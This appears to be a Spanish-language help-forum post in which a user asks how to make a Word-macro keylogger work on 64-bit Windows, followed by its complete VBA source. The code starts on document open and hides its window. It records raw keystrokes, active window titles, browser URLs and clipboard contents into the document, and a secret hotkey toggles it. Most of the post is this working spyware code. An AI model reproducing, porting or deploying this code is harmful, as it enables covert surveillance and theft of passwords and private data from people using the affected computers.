CODIGO VB. Problema para que funcione en 64 Bits.

Cerrado
diego8080
Message postés
1
Date d'inscription
lunes, 21 de mayo de 2018
Estatus
Miembro
Última intervención
lunes, 21 de mayo de 2018
- Modificado el 21 may 2018 a las 04:44
Hola Buenas noches.

Necesito de vuestra ayuda... tengo unos códigos sencillos de un keylogger, que los incerté en las macro de word hace unos años. Andan muy bien, ya que mi ordenador en el que corre es de 32 bits... bien, ahora quise ejecutarlos en los otros Pc´s que tengo pero no me deja ya que estos son de 64 bits.... Alguien me puede dar una mano e indicarme donde tengo que editarlos para que puedan funcionar con 64 bits??. Desde ya les agradecería mucho la ayuda que puedan darme.


*



Option Explicit
Private bStar As Boolean

Private Sub Document_Open()
bStar = InitModule(Me.ActiveWindow)
End Sub

Private Sub Document_Close()
ReleaseModule

If bStar Then
Me.Save
End If
End Sub






'------------------------------------

'save input Keys, Active Widows, Url from Navigators and clipboard
'------------------------------------
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function PostMessage Lib "user32.dll" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function CreateWindowEx Lib "user32.dll" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32.dll" (ByVal hwnd As Long) As Long
Private Declare Function RegisterWindowMessage Lib "user32" Alias "RegisterWindowMessageA" (ByVal lpString As String) As Long
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long
Private Declare Function RegisterShellHook Lib "Shell32" Alias "#181" (ByVal hwnd As Long, ByVal nAction As Long) As Long
Private Declare Function SetClipboardViewer Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
Private Declare Function RegisterHotKey Lib "user32" (ByVal hwnd As Long, ByVal id As Long, ByVal fsModifiers As Long, ByVal vk As Long) As Long
Private Declare Function UnregisterHotKey Lib "user32" (ByVal hwnd As Long, ByVal id As Long) As Long
Private Declare Function RegisterRawInputDevices Lib "user32.dll" (ByRef pRawInputDevices As RAWINPUTDEVICE, ByVal uiNumDevices As Long, ByVal cbSize As Long) As Long
Private Declare Function GetRawInputData Lib "user32.dll" (ByVal hRawInput As Long, ByVal uiCommand As Long, ByRef pData As Any, ByRef pcbSize As Long, ByVal cbSizeHeader As Long) As Long
Private Declare Function GetActiveWindow Lib "user32.dll" () As Long
Private Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Private Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Private Declare Function DefWindowProc Lib "user32.dll" Alias "DefWindowProcA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function DdeInitialize Lib "user32" Alias "DdeInitializeA" (pidInst As Long, ByVal pfnCallback As Long, ByVal afCmd As Long, ByVal ulRes As Long) As Integer
Private Declare Function DdeCreateStringHandle Lib "user32" Alias "DdeCreateStringHandleA" (ByVal idInst As Long, ByVal psz As String, ByVal iCodePage As Long) As Long
Private Declare Function DdeConnect Lib "user32" (ByVal idInst As Long, ByVal hszService As Long, ByVal hszTopic As Long, pCC As Any) As Long
Private Declare Function DdeFreeStringHandle Lib "user32" (ByVal idInst As Long, ByVal hsz As Long) As Long
Private Declare Function DdeUninitialize Lib "user32" (ByVal idInst As Long) As Long
Private Declare Function DdeClientTransaction Lib "user32.dll" (ByRef pData As Byte, ByVal cbData As Long, ByVal hConv As Long, ByVal hszItem As Long, ByVal wFmt As Long, ByVal wType As Long, ByVal dwTimeout As Long, ByRef pdwResult As Long) As Long
Private Declare Function DdeAccessData Lib "user32.dll" (ByVal hData As Long, ByRef pcbDataSize As Long) As Long
Private Declare Function DdeUnaccessData Lib "user32.dll" (ByVal hData As Long) As Long
Private Declare Function DdeFreeDataHandle Lib "user32.dll" (ByVal hData As Long) As Long
Private Declare Function DdeDisconnect Lib "user32.dll" (ByVal hConv As Long) As Long
Private Declare Function DdeGetLastError Lib "user32.dll" (ByVal idInst As Long) As Long
Private Declare Function lstrlenW Lib "kernel32" (ByVal lpString As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)

Private Const XCLASS_DATA As Long = &H2000
Private Const XTYP_REQUEST As Long = (&HB0 Or XCLASS_DATA)

Private Const CP_WINANSI As Long = 1004
Private Const CF_TEXT As Long = 1
Private Const MOD_ALT As Long = &H1
Private Const MOD_CONTROL As Long = &H2
Private Const MOD_SHIFT As Long = &H4
Private Const WM_HOTKEY As Long = &H312

Private Const WM_SETTEXT As Long = &HC
Private Const WM_GETTEXTLENGTH As Long = &HE
Private Const WM_GETTEXT As Long = &HD

Private Const RSH_REGISTER_TASKMAN As Long = 3
Private Const HSHELL_WINDOWACTIVATED As Long = 4
Private Const SHELLHOOKMESSAGE As String = "SHELLHOOK"
Private Const GWL_WNDPROC As Long = -4

Private Const ES_MULTILINE As Long = &H4&
Private Const ES_AUTOVSCROLL As Long = &H40&
Private Const ES_AUTOHSCROLL As Long = &H80&

Private Const WM_IME_KEYDOWN As Long = &H290
Private Const WM_SYSKEYDOWN As Long = &H104
Private Const WM_KEYDOWN As Long = &H100
Private Const WM_KEYUP As Long = &H101
Private Const WM_DRAWCLIPBOARD As Long = &H308
Private Const WM_INPUT As Long = &HFF&
Private Const WM_QUERYENDSESSION As Long = &H11
Private Const WM_DESTROY As Long = &H2
Private Const WM_ACTIVATE As Long = &H6

Private Const RIDEV_INPUTSINK As Long = &H100
Private Const RIM_TYPEKEYBOARD As Long = &H1&
Private Const RID_INPUT As Long = &H10000003

Private Type RAWINPUTDEVICE
usUsagePage As Integer
usUsage As Integer
dwFlags As Long
hwnd As Long
End Type

Private Type RAWINPUTHEADER
dwType As Long
dwSize As Long
hDevice As Long
wParam As Long
End Type

Private Type RAWKEYBOARD
MakeCode As Integer
Flags As Integer
Reserved As Integer
vKey As Integer
message As Long
ExtraInformation As Long
End Type

Private Type RAWINPUT
header As RAWINPUTHEADER
Data As RAWKEYBOARD
End Type

Private WM_SHELLHOOK As Long
Private hEdit As Long
Private WinEditPrevProc As Long

Private KeyBuff As Long
Private bStarLog As Boolean
Private m_obSelection As Selection
Private m_objWindow As Window
Private m_hwnd_Doc As Long
Private bTimerOn As Boolean
Private m_LastActiveWindow As Long
Private m_LastURL As String
Private m_LastServer As String
Private m_LastWinText As String
Private WinDocPrevProc As Long


Private Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
On Error Resume Next

Dim sURL As String
Dim sRet As String
Dim sWinText As String

If Len(m_LastServer) Then

Select Case m_LastServer
Case "chrome"
sURL = GetChromeUrl(m_LastActiveWindow)
Case "explorer"
sURL = GetExplorerPath(m_LastActiveWindow)
Case Else
sRet = GetBrowserInfo(m_LastServer)
If Len(sRet) Then
sURL = Split(sRet, Chr$(34))(1)
sWinText = Split(sRet, Chr$(34))(3)
End If
End Select

If m_LastURL <> sURL Then
m_LastURL = sURL
If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hEdit), False, True
If Len(sURL) Then
If Len(sWinText) = 0 Then sWinText = GetWindowText(m_LastActiveWindow)
SaveLog "Ventana Activa: ", True, False, sURL, sWinText
Else
SaveLog "Ventana Activa: " & GetWindowText(m_LastActiveWindow), True
End If
End If
Else
sWinText = GetWindowText(m_LastActiveWindow)
If (m_LastWinText <> sWinText) Then
If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hEdit), False, True
m_LastWinText = sWinText
SaveLog "Ventana Activa: " & m_LastWinText, True
End If
End If

End Sub

Private Function StarKeyLogger()
On Error Resume Next

MsgBox "DF Function se ha iniciado. Presione CTRL + ALT + SHIFT + D para restaurar esta ventana."
Application.DisplayAlerts = wdAlertsNone
m_obSelection.WholeStory
m_obSelection.Delete
m_obSelection.Style = ("Sin espaciado")
SaveLog "DF Function se inicio. Utilice este soft con responsabilidad.", True
bStarLog = True
m_objWindow.Visible = False
WinDocPrevProc = SetWindowLong(m_hwnd_Doc, GWL_WNDPROC, AddressOf WndProc)
End Function

Private Function StopKeyLogger()
On Error Resume Next
If bTimerOn Then KillTimer hEdit, 0: bTimerOn = False
If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hEdit), False, True
bStarLog = False
m_objWindow.Visible = True
Call SetWindowLong(m_hwnd_Doc, GWL_WNDPROC, WinDocPrevProc)
End Function

Public Function InitModule(ByVal objWindow As Window) As Boolean

If hEdit Then Exit Function

Set m_objWindow = objWindow
Set m_obSelection = m_objWindow.Selection
m_objWindow.View.Type = wdWebView
m_hwnd_Doc = GetActiveWindow

hEdit = CreateWindowEx(0, "EDIT", "", ES_MULTILINE Or ES_AUTOVSCROLL Or ES_AUTOHSCROLL, 0, 0, 0, 0, 0, 0, GetModuleHandle(vbNullString), 0)

If hEdit <> 0 Then

Dim RID As RAWINPUTDEVICE

RID.usUsagePage = &H1
RID.usUsage = &H6
RID.dwFlags = RIDEV_INPUTSINK
RID.hwnd = hEdit

If RegisterRawInputDevices(RID, 1, Len(RID)) <> 0 Then

WM_SHELLHOOK = RegisterWindowMessage(SHELLHOOKMESSAGE)
RegisterShellHook hEdit, RSH_REGISTER_TASKMAN
SetClipboardViewer hEdit
Call RegisterHotKey(hEdit, &HBFFF&, MOD_CONTROL Or MOD_ALT or MOD_SHIFT, vbKeyD)

WinEditPrevProc = SetWindowLong(hEdit, GWL_WNDPROC, AddressOf WndProc)


InitModule = True
End If
End If

End Function

Public Function ReleaseModule() As Boolean
If hEdit <> 0 Then
Call SetWindowLong(m_hwnd_Doc, GWL_WNDPROC, WinDocPrevProc)
Call SetWindowLong(hEdit, GWL_WNDPROC, WinEditPrevProc)
Call UnregisterHotKey(hEdit, &HBFFF&)
If bTimerOn Then KillTimer hEdit, 0: bTimerOn = False
DestroyWindow hEdit: hEdit = 0
ReleaseModule = True
End If
End Function

Private Function WndProc(ByVal hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
On Error Resume Next

Dim sRet As String, sURL As String

'SubClass ventana principal del documento
If hwnd = m_hwnd_Doc Then

Select Case uMsg
Case WM_QUERYENDSESSION
If bStarLog Then m_objWindow.Close False

Case WM_DESTROY
Call SetWindowLong(hwnd, GWL_WNDPROC, WinDocPrevProc)

Case WM_ACTIVATE
StopKeyLogger

End Select

WndProc = CallWindowProc(WinDocPrevProc, m_hwnd_Doc, uMsg, wParam, lParam)

Exit Function
End If

'Subclass del Edit
Select Case uMsg
Case WM_SHELLHOOK
If Not bStarLog Then Exit Function

If wParam = HSHELL_WINDOWACTIVATED Then
If lParam <> 0 And m_LastActiveWindow <> lParam Then
m_LastActiveWindow = lParam

If bTimerOn Then KillTimer hEdit, 0: bTimerOn = False

If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hEdit), False, True

m_LastServer = vbNullString

Select Case ClassNameOf(lParam)
Case "MozillaUIWindowClass", "MozillaWindowClass"
sRet = GetBrowserInfo("firefox")
If Len(sRet) Then sURL = Split(sRet, Chr$(34))(1)
m_LastServer = "firefox"

Case "IEFrame"
sRet = GetBrowserInfo("iexplore")
If Len(sRet) Then sURL = Split(sRet, Chr$(34))(1)
m_LastServer = "iexplore"

Case "OpWindow", "OperaWindowClass"
sRet = GetBrowserInfo("opera")
If Len(sRet) Then sURL = Split(sRet, Chr$(34))(1)
m_LastServer = "opera"

Case "Chrome_WidgetWin_1"
sURL = GetChromeUrl(lParam)
m_LastServer = "chrome"

Case "CabinetWClass"
sURL = GetExplorerPath(lParam)
m_LastServer = "explorer"
End Select

m_LastWinText = GetWindowText(lParam)

If Len(sURL) Then
SaveLog "Ventana Activa: ", True, False, sURL, m_LastWinText
m_LastURL = sURL
Else
SaveLog "Ventana Activa: " & m_LastWinText, True
End If

bTimerOn = True
SetTimer hEdit, 0, 1000, AddressOf TimerProc

End If

End If

Case WM_DRAWCLIPBOARD

If Not bStarLog Then Exit Function
If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hEdit), False, True
SaveLog "Portapapeles:", True, True
m_obSelection.Paste
m_obSelection.TypeParagraph
SaveLog vbNullString, False, True

Case WM_HOTKEY
If bStarLog = False Then
If m_hwnd_Doc = GetActiveWindow Then
StarKeyLogger
End If
Else
StopKeyLogger
End If

Case WM_INPUT
Dim tRAW As RAWINPUT

If Not bStarLog Then Exit Function

Call GetRawInputData(lParam, RID_INPUT, tRAW, Len(tRAW), Len(tRAW.header))

If (tRAW.header.dwType = RIM_TYPEKEYBOARD) Then

Select Case tRAW.Data.message

Case WM_KEYDOWN

'para que no bloquee los acentos ´ `
If (tRAW.Data.vKey = 222) Or (tRAW.Data.vKey = 186) Then
KeyBuff = tRAW.Data.vKey
Else
If KeyBuff <> 0 Then
Call PostMessage(hEdit, WM_IME_KEYDOWN, KeyBuff, 0&)
KeyBuff = 0
End If

If (tRAW.Data.vKey <> 17) And ((tRAW.Data.vKey > 40) Or (tRAW.Data.vKey < 37)) Then
Call PostMessage(hEdit, WM_IME_KEYDOWN, tRAW.Data.vKey, 0&)
End If
End If

Case WM_SYSKEYDOWN
Call PostMessage(hEdit, WM_IME_KEYDOWN, tRAW.Data.vKey, 0&)

End Select
End If

End Select

WndProc = CallWindowProc(WinEditPrevProc, hwnd, uMsg, wParam, lParam)

End Function

Private Sub SaveLog(ByVal sText As String, Optional AddDateTime As Boolean, Optional AddLine As Boolean, Optional Vinculo As String, Optional TextToDisplay As String)
On Error Resume Next

If AddDateTime Then
m_obSelection.Font.Color = -553582746
m_obSelection.TypeText Text:="[" & Format(Time, "HH:MM:SS") & "] "
m_obSelection.Font.Color = wdColorAutomatic
End If

If Len(Vinculo) Then
m_obSelection.TypeText Text:=sText
m_objWindow.Document.Hyperlinks.Add Anchor:=m_obSelection.Range, Address:=Trim$(Vinculo), SubAddress:="", TextToDisplay:=Trim$(TextToDisplay)
m_obSelection.TypeParagraph
Else
m_obSelection.TypeText Text:=sText
m_obSelection.TypeParagraph
End If

If AddLine Then
m_obSelection.InlineShapes.AddHorizontalLineStandard
End If

SendMessage hEdit, WM_SETTEXT, 0&, vbNullString
End Sub

Private Function GetExplorerPath(ByVal hwnd As Long) As String
On Error Resume Next
Dim oShell As Object, oWin As Object

Set oShell = CreateObject("shell.application")

If Not oShell Is Nothing Then
For Each oWin In oShell.Windows
If oWin.hwnd = hwnd Then
GetExplorerPath = oWin.LocationURL
Exit For
End If
Next
Set oShell = Nothing
End If
End Function

Private Function GetChromeUrl(ByVal hwnd As Long)
Dim Chrome_OmniboxView_hwnd As Long
Dim sURL As String
Chrome_OmniboxView_hwnd = FindWindowEx(hwnd, ByVal 0&, "Chrome_OmniboxView", vbNullString)
If Chrome_OmniboxView_hwnd <> 0 Then
sURL = GetWindowText(Chrome_OmniboxView_hwnd)
If Len(sURL) Then
If (Left$(sURL, 6) <> "ftp://") And (Left$(sURL, 7) <> "http://") And (Left$(sURL, 8) <> "https://") Then
GetChromeUrl = "http://" & sURL
Else
GetChromeUrl = sURL
End If
End If
End If
End Function

'No funciona bien ya que no se puede establecer el TimeOut, se utilizo la version con apis.
Private Function GetBrowserInfo2(ByVal sServer As String) As String
On Error Resume Next
Dim lchannel As Long
Application.DisplayAlerts = wdAlertsNone
lchannel = DDEInitiate(sServer, "www_getwindowinfo")
If lchannel <> 0 Then
GetBrowserInfo2 = DDERequest(lchannel, "dogetwindowinfo")
DDETerminate lchannel
End If
End Function

Private Function GetBrowserInfo(ByVal sServer As String) As String

Dim lpData As Long, hData As Long, sData As String
Dim hServer As Long, hTopic As Long, hItem As Long
Dim hConv As Long, idInst As Long

Const sTopic = "WWW_GetWindowInfo"
Const sItem = "0xFFFFFFFF"

If DdeInitialize(idInst, 0, 0, 0) <> 0 Then Exit Function

hServer = DdeCreateStringHandle(idInst, sServer, CP_WINANSI)
hTopic = DdeCreateStringHandle(idInst, sTopic, CP_WINANSI)
hItem = DdeCreateStringHandle(idInst, sItem, CP_WINANSI)

hConv = DdeConnect(idInst, hServer, hTopic, ByVal 0&)

If hConv Then
hData = DdeClientTransaction(0, 0, hConv, hItem, CF_TEXT, XTYP_REQUEST, 1000, 0)
lpData = DdeAccessData(hData, 0)
GetBrowserInfo = PtrToString(lpData)

DdeUnaccessData hData
DdeFreeDataHandle hData
DdeDisconnect hConv
End If

DdeFreeStringHandle idInst, hServer
DdeFreeStringHandle idInst, hTopic
DdeFreeStringHandle idInst, hItem
DdeUninitialize idInst

End Function

Private Function PtrToString(lpwString As Long) As String
Dim Buffer() As Byte
Dim nLen As Long
If lpwString Then
nLen = lstrlenW(lpwString) * 2
If nLen Then
ReDim Buffer(0 To (nLen - 1)) As Byte
CopyMemory Buffer(0), ByVal lpwString, nLen
PtrToString = StrConv(Buffer, vbUnicode)
End If
End If
End Function

Private Function GetWindowTextLength(ByVal hwnd As Long) As Long
GetWindowTextLength = SendMessage(hwnd, WM_GETTEXTLENGTH, 0&, 0&)
End Function

Private Function GetWindowText(ByVal hwnd As Long) As String
Dim TextLen As Long
TextLen = SendMessage(hwnd, WM_GETTEXTLENGTH, 0&, 0&)
GetWindowText = String(TextLen, Chr$(0))
SendMessage hwnd, WM_GETTEXT, TextLen + 1, GetWindowText
End Function

Private Function ClassNameOf(ByVal hwnd As Long) As String
Dim sClassName As String, Ret As Long
sClassName = Space(256)
Ret = GetClassName(hwnd, sClassName, 256)
If Ret Then ClassNameOf = Left$(sClassName, Ret)
End Function


*


Les envío un cordial saludo!!!